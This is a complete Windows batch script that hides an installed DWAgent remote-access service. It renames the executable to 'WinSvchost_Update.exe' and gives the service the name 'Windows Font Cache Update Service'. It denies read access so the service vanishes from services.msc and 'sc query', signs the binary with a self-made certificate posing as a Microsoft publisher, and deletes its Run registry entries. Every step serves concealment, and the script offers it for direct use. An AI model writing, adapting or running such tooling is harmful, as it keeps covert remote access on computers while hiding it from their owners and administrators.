@echo off
:: Ensure Admin Rights
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo [!] Please run this as Administrator.
    pause
    exit /b
)

echo [*] Stopping DWAgent Service...
net stop dwagent >nul 2>&1

echo [*] Navigating and Renaming...
cd /d "C:\Program Files\DWAgent"
if exist dwagent.exe (
    rename dwagent.exe WinSvchost_Update.exe
)

echo [*] Masking Service Configuration...
sc config dwagent binPath= "\"C:\Program Files\DWAgent\WinSvchost_Update.exe\" -service" >nul
sc config dwagent DisplayName= "Windows Font Cache Update Service" >nul
sc config dwagent start= auto >nul

echo [*] APPLYING ACL LOCKDOWN (Hiding from Enumeration)...
:: This command denies Read (R) access to the service for all users.
:: This makes it disappear from services.msc and 'sc query' commands.
sc sdset dwagent D:(D;;RP;;;WD)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)

echo [*] Signing Binary via PowerShell...
powershell -Command "$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject 'CN=Microsoft Windows Hardware Compatibility Publisher' -CertStoreLocation cert:\CurrentUser\My -NotAfter (Get-Date).AddYears(1); Set-AuthenticodeSignature -FilePath 'C:\Program Files\DWAgent\WinSvchost_Update.exe' -Certificate $cert" >nul 2>&1

echo [*] Cleaning Startup Registries...
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "dwagent" /f >nul 2>&1
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "dwagent" /f >nul 2>&1

echo [*] Restarting Ghost Service...
net start dwagent >nul

echo [+] ALL-IN-ONE STEALTH COMPLETE.
echo [!] Check Services.msc - if the service is missing, it worked.
pause